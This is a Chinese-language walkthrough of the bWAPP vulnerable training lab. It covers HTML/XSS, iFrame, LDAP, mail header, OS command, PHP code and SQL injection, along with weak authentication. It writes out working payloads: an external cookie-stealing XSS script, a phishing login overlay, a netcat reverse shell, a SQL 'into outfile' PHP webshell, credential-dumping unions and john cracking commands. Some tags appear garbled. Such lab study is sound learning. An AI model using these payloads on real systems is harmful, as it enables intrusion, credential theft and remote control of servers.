A1注入
html injection:
low:最基础的xss注入:
xss测试
1.get
<script>alert(/xss/)script>
<a href="https://www.baidu.com/">点击这儿领红包a>
<script>alert(document.cookie)script>)
tExtArEa>'"><sCRiPt sRC=//xsshs.cn/L0oJ>sCrIpT>
xss平台:
medium:
此时直接注入已经不能执行了
由于是get注入,考虑进行url编码:
<a href="https://www.baidu.com">click it <a>
%3c%61%20%68%72%65%66%3d%22%68%74%74%70%73%3a%2f%2f%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d%22%3e%63%6c%69%63%6b%20%69%74%20%3c%61%3e
high:
可以看到源码将<>’’&进行编码,并且使用htmlspecialchars将html转化为实体,本来如果没有ENT_QUOTES参数的话还可以考虑使用单引号闭合 ’ firstname='alert(111)'来绕过,暂时没办法了
2.post
没什么好说的,只是表单提交方式变了而已
3.current url
核心代码如上,url只能是来自请求头的host和url
low:
修改host
修改url:
url会自动忽略#和//
这个中高级我没办法
储存型xss:
1
low,这个和反射性xss不一样的地方在于,反射性xss是一次性的,而存储型xss是只要浏览页面就会一直存在
而存储型xss相对来说危害性更大:
比如伪造一个登录框:
<form action="http://www.baidu.com">
<input type="text" name="username">input>
<input type="text" name="password">input>
<input type="submit">
form>
当然也可以更加逼真的登录框:
#伪造登录
<div style="position: absolute; left: 0px; top: 0px; width: 1900px; height: 1300px; z-index: 1000; background-color:white; padding: 1em;">Please login with valid credentials:<br><form name="login" action="http://192.168.1.101 /login.htm"><table><tr><td>Username:td><td><input type="text" name="username"/>td>tr><tr><td>Password:td><td><input type="text" name="password"/>td>tr><tr><td colspan=2 align=center><input type="submit" value="Login"/>td>tr>table>form>div>
<form action="http://www.baidu.com" method="POST">
<table>
<tr>
<td colspan="6"><p><textarea name="entry" id="entry" cols="80" rows="3">textarea>p>td>
tr>
<tr>
<td width="79" align="left">
<button type="submit" name="blog" value="submit">Submitbutton>
td>
<td width="85" align="center">
<label for="entry_add">Add:label>
<input type="checkbox" id="entry_add" name="entry_add" value="" checked="on">
td>
<td width="100" align="center">
<label for="entry_all">Show all:label>
<input type="checkbox" id="entry_all" name="entry_all" value="">
td>
<td width="106" align="center">
<label for="entry_delete">Delete:label>
<input type="checkbox" id="entry_delete" name="entry_delete" value="">
td>
<td width="7">td>
<td align="left">td>
tr>
table>
form>
中高级使用的函数是:mysqli_real_escape_string
转义特殊字符
iFrame Injection
low
iframei.php?ParamUrl=robots.txt&ParamWidth=250&ParamHeight=250
首先ParamUrl可以进行任意文件读取,同时也可以打开其它网站
iframei.php?ParamUrl=./666&ParamWidth=250&ParamHeight=250
中级:
此时的ParamUrl已经不可控了,所以考虑从别的地方下手
而这些参数使用了
LDAP Connection Settings
LDAP:Lightweight Directory Access Protocol(轻量级的目录访问协议)
首先了解一下LDAP语法:
dn表示一条记录所处的位置
dc表示一条记录所属的区域
ou表示所属组织
cn表示记录名字
可以将LDAP看作数据库
dc(数据库)-ou(表)-cn(字段)
或者看成树
dc(根)-ou(分支)-cn(名字)
=:(Name=ring) 查找name等于ring的对象
&:(&(Name=ring)(age=14))查找名字为ring且年龄为14的对象
|:(|(Name=ring)(age=14))查找名字为ring或者年龄为14的对象
!!Name=ring)查找name不为ring的对象
:(Name=)查找所有name不为空的对象
LDAP的形式如下:
ldap://:/
例如:
ldap://austin.ibm.com/ou=Austin,o=IBM
ldap:///ou=Austin,o=IBM??sub?(cn=Joe Q. Public)
LDAP注入:
LDAP注入与sql注入很像,
1.AND注入:
假如后端语句为:
(&(parameter1=value1)(parameter2=value2))
那么攻击者可以对此进行绕过
例如:
(&(username=username)(password=password))
而这里就可以进行类似于sql注入的联合注入,
构造payload:(&(usesrname=username)(&)(password=password))
因为服务器只处理第一个过滤器,即仅查询(&(username=username)(&))
只要输入的username正确,这个表达式就永真,就可以使用任意密码进入
2.权限提升
(&(directory=document)(security_level=low))
document是用户入口,low是安全等级,如果攻击者想看高安全等级的文档,他可以利用:
document)(security_level=*))(&(directory=documents
这样服务器生成的过滤器为:
(&(directory=document)(security_level=*))(&(directory=documents)(security_level=low))
那么&(directory=documents)(security_level=low))
就被忽略了
还有or注入,盲注等等,原理跟sql注入差不多
不同的有发现属性和字符集消减
可参见:
https://blog.csdn.net/quiet_girl/article/details/50716312
Mail Header Injection
邮箱系统使用SMTP协议
SMTP协议:建立在FTP文件传输服务上一种可靠的电子邮件传协议
对应的SMTP服务端口为25
例如:邮箱从c@163.com到www.s.com网页的s@163.com过程如下:
s:(等待连接)
c:(打开与服务器的连接)
s:220 www.s.com SMTP service ready(服务器连接TCP就绪)
c:HELLO www.s.com
s:250 www.s.com says hello
c:MAIL.FROM:c@163.com
s:250 ok
c:RCPT TO :s@163.com
s:250 ok
c:DATA
s:354 Start mail input;end with
c:传输邮件
c:
s:250 ok
c:QUIT
s:221 www.s.com Service closing transmission channel
搜索了一下SMTP注入:
首先我们需要一个有效的账户,并且格式为:
发送方的e-mail地址
接收方的e-mail地址
主题
消息主体
附件
1.cc/bcc注入:
在发送者字段(sender)后注入cc(carbon copy抄送,)和bcc(隐藏抄送)参数(两者的区别在于在BCC栏中的收件人可以看到所有的收件人名(TO,CC,BCC),而在TO 和CC栏中的收件人看不到BBC的收件人名。)
From:sender@163.com%0ACc:1@163.com%0ABcc:2@163.com
现在所有的消息都会被发送到1和2账号
2.参数注入
From:sender@163.com%0ATo:hack@163.com
消息被发送到原来的收件人和攻击者账号
3.邮件主题注入:
From:sender@163.com%0A Subject:This is fake subject
这样原来的主题就被修改为this is fake subject(不过这个取决于代码编写的容错性,出现两个subject时时选择丢弃还是后者覆盖)
4.改变消息的主题body
From:sender@163.com %0A%0A this is fake message
this is a fake message被添加到原消息中
OS Command Injection
low:
由于默认执行了www.nsa.gov,这里可以使用&来进行多条命令的执行
www.nsa.gov&whoami
进行反弹shell
由于我是windows,就不演示反弹shell了
如果是linux,还可以使用;将命令隔开,从左往右执行
medium:
使用管道|就行;
high:
这里commix上场,用法参照:
https://blog.csdn.net/xiaohua_de/article/details/80767090
不过用commix扫容易把服务器扫崩
OS Command Injection - Blind
由于没有返回值,通过时间盲注
不执行命令时在5毫秒
ping 127.0.0.1 在90多左右
执行错误命令时在1000以上
执行两个正确命令时在100-200之间
通过时间可以判断是否执行命令,所以这里最好用的还是反弹shell
127.0.0.1 && nc -vn 192.168.91.141 4444 -e /bin/bash
high还是通过commix
PHP Code Injection
low
url/phpi.php?message=exec("whoami")
url/phpi.php?message=phpinfo()
但是最有用的还是反弹shell
当然还可以使用wget来直接下载木马(可惜我是windows)
Server-Side Includes (SSI) Injection
SSI:服务器断包含
语法:
<#echo>显示服务器端环境变量
<#include>将文本内容直接插入到文档中
…
SSI命令基本格式:
如果服务器不支持SSI, 会被忽略,SSI大小写敏感
low和medium都没有对html进行过滤,都存在反射性xss
当然low也存在着ssi:
SQL Injection (GET/Search)
low:根据:1' union select 1,login,password,email,5,6,7 from users #
爆出密码后,尝试使用john破解:
关于john:
/etc/shadow记录了所有用户名及其密码hash值
john爆破密码:
默认模式:
john --user=bee shadow
简单模式:
john --single --user=bee passwd_shadow
基于字典:
john --wordlist=username.txt --user=bee shadow
incremental(逐个遍历的爆破模式):
john --incremental:digits --user=bee shadow
这里注意,参照表如下:
破解模式的具体方法 破解的密码长度 所包含的字符
Incremental:all 0-8 All 95 printable ASCII characters
Incremental:all15 0-5 All 95 printable ASCII characters
Incremental:all6 6 All 95 printable ASCII characters
Incremental:all7 7 All 95 printable ASCII characters
Incremental:all8 8 All 95 printable ASCII characters
Incremental:alpha 1-8 A-Z 纯大写字母
Incremental:digits 1-8 0-9 纯数字
Incremental:lanman 0-7 A-Z, 0-9, and some special characters (大写字母,数字加 一些特殊字符)
预定义密码破解的类型(md5/bf/sha/…)
john --format=sha512crpty shadow
john字典爆破:
john -w:password.list --format=sha512crypt shadow
(这里的shadow为储存hash密码的文件,破解过的密码会储存在home目录下的隐藏文件.john/john.pot)
*home目录下的.john/john.pot会记录所有破解过的密码,如果不清除将无法重复破解已经破解过的用户
详情参照:
https://klionsec.github.io/2017/04/26/use-john/
https://blog.csdn.net/qq_37960324/article/details/83022216
1' union select 1,2,3,4,5,6,"a';eval($_POST[a]);?>" into outfile 'C:\phpStudy\PHPTutorial\WWW\bWAPP\bWAPP\1.php'#
SQL Injection (GET/Select)
low:
0 union select 1,login,3,email,password,6,7 from users
medium:
1 and extractvalue(1,concat(0x7e,(select group_concat(password) from users)))#
SQL Injection (AJAX/JSON/jQuery):
AJAX:
Asynchronous JavaScript and XML(异步的 JavaScript 和 XML)
AJAX 最大的优点是在不重新加载整个页面的情况下,可以与服务器交换数据并更新部分网页内容。(即动态网页)
举个例子:
<button type="button" onclick="loadxmldoc()">修改内容button>
<head>
<script>
function loadxmldoc()
{
.......AJAX脚本....
}
script>
head>
使用ajax前,先创建XMLHttpRequest对象
现在的浏览器都内建了XMLHttpRequest
variable=new XMLHttpRequest();
老版的ie5,ie6使用ActiveX对象
variable=new ActiveObject(“Microsoft.XMLHTTP”)
AJAX向服务器发送请求
使用XMLHttpRequest对象的open和send
xmlhttp.open(“method”,“url”,async);
method:get或者post方法
async:true(异步),false(同步)
xmlhttp.send(string);仅用于post请求
例如:
xmlhttp.open(“POST”,"/try/ajax/demo_post2.php",true);
xmlhttp.setRequestHeader(“Content-type”,“application/x-www-form-urlencoded”);
xmlhttp.send(“fname=Henry&lname=Ford”);
服务器响应:
responseText
responseXML
详情参照
https://www.runoob.com/ajax/ajax-tutorial.html
核心代码:
$("#title").keyup(function(){//输入框的name为title
// Searches for a movie title
var search = {title: $("#title").val()};//创建一个key:value赋值给seach
// AJAX call
$.getJSON("sqli_10-2.php", search, function(data){
init_table();
// Constructs the table from the JSON data
var total = 0;
$.each(data, function(key, val){
total++;
$("#table_yellow tr:last").after("" + val.title + " " + val.release_year + " " + val.main_character + " " + val.genre + " Link ");
});//从json中取数据
// Empty result
if (total == 0)
{
$("#table_yellow tr:last").after("No movies were found! ");
}
})
});
所以以上是sqli-10-2.php把数据提交给此文件,正常查询时使用get方法
。。。。。这里是真没看懂,先做下记录
直接提交:http://192.168.1.102/bWAPP/sqli_10-2.php?title=a 不行
需要修改referer:http://192.168.1.102/bWAPP/sqli_10-1.php?search=a
这个也没复现出来。。。
paylaod:?title=I%%27+UNION+SELECT+1,2,3,4,version(),6,7+--+
(注意执行这个是在sqli_10-2.php)
paylaod:http://192.168.91.141/bWAPP/bWAPP/sqli_10-2.php?title=I%%27+UNION+SELECT+1,login,3,email,password,6,7%20from%20users+--+
验证码那个完全不知道漏洞点在哪,跳过
SQL Injection (Login Form/Hero)
bee' or 1=1#
永真绕过
SQL Injection (Login Form/User)
' and 0 UNION SELECT 1,2,'356a192b7913b04c54574d18c28d46e6395428ab',4,5,6,7,8,9#
1
SQL Injection (SQLite)
参照:
https://www.cnblogs.com/kagari/p/11631085.html
SQL Injection - Stored (XML)(xxe):
注意,这里需要改一下php的配置文件,php-ini,将;always_populate_raw_post_data = -1前面的分号注释去掉(如果还是不行,将php设置为较高版本)
]>
<rest>
<login>&test;login>
<secret>loginsecret>
rest>
A2
Broken Auth. - CAPTCHA Bypassing
验证码不实时更新,造成暴力破解
使用抓包拦截,爆破
Broken Auth. - Forgotten Function
同样的对邮箱爆破
Weak Passwords
low:
test
test
medium:
test
test123
high:
test
Test123
Session Mgmt. - Administrative Portals
url:admin=1
Session Mgmt. - Cookies (Secure)+Cookies (HTTPOnly)
抓包修改:security_level=0; PHPSESSID=g7t91om7h4iuh70dadbt4h3rs7; top_security=no
A3:xss
XSS - Reflected (POST)+GET
使用xss平台,反射性xss需要伪造外形,来诱导别人点它
XSS - Reflected (JSON)
源码:
var JSONResponseString = '';
// var JSONResponse = eval ("(" + JSONResponseString + ")");
var JSONResponse = JSON.parse(JSONResponseString);
document.getElementById("result").innerHTML=JSONResponse.movies[0].response;
假设string=’{"movies":[{"response":"HINT: our master really loves Marvel movies :)"}]}'
进行绕过:"}]}';alert(/xss/)(}]}与前面的括号闭合,'是与string='的引号闭合)
Reflected (AJAX/JSON)
动态网页,输入之后就一直弹窗
一直加载
一直弹窗
Reflected (AJAX/XML)
html实体转义(不知道大神们都是怎么想的,反正我看不出来)
<img src=0 οnerrοr="alert(1)">
Reflected (Back Button)
在网页源码里可以看见如下关键语句:
'"><img src=1.png onerror=alert(/xss/)>
通过抓包修改refer的值
Reflected (Custom Header)
需要在HTTP的头部加入bWAPP字段即可 Palyload: bWAPP:
Reflected (Eval)
关键语句:
eval("document.write(Date())");
在url里可以看到:
http://192.168.91.141/bWAPP/bWAPP/xss_eval.php?date=Date()
通过data参数来alert(1),弹窗
Reflected (HREF)
根据几次试验,猜测后台将输入的name写入a标签,再进行跳转
<a herf=name>a>
所以构造:name=>
Reflected (Login Form)
使用万能密码进行绕过
1' or 1=1' <script>alert(/xss/)script>
phpMyAdmin BBCode Tag XSS(CVE-2010-4480)
已知漏洞
?error=[a@http://www.baidu.com@]XSS@[/a]
php_self
在这个靶机很简单,直接
关于php_self详细参考
https://www.jianshu.com/p/b0c8ae980fea
PHP_SELF
PHP_SELF是一个返回正在执行的当前脚本的变量。此变量返回当前文件的名称和路径(来自根文件夹)
如果再页面中使用:
如果用户输入正常,假如为/login.php
则页面是:
正常访问到url/login.php
但是,假如输入的是:
url/login.php"/>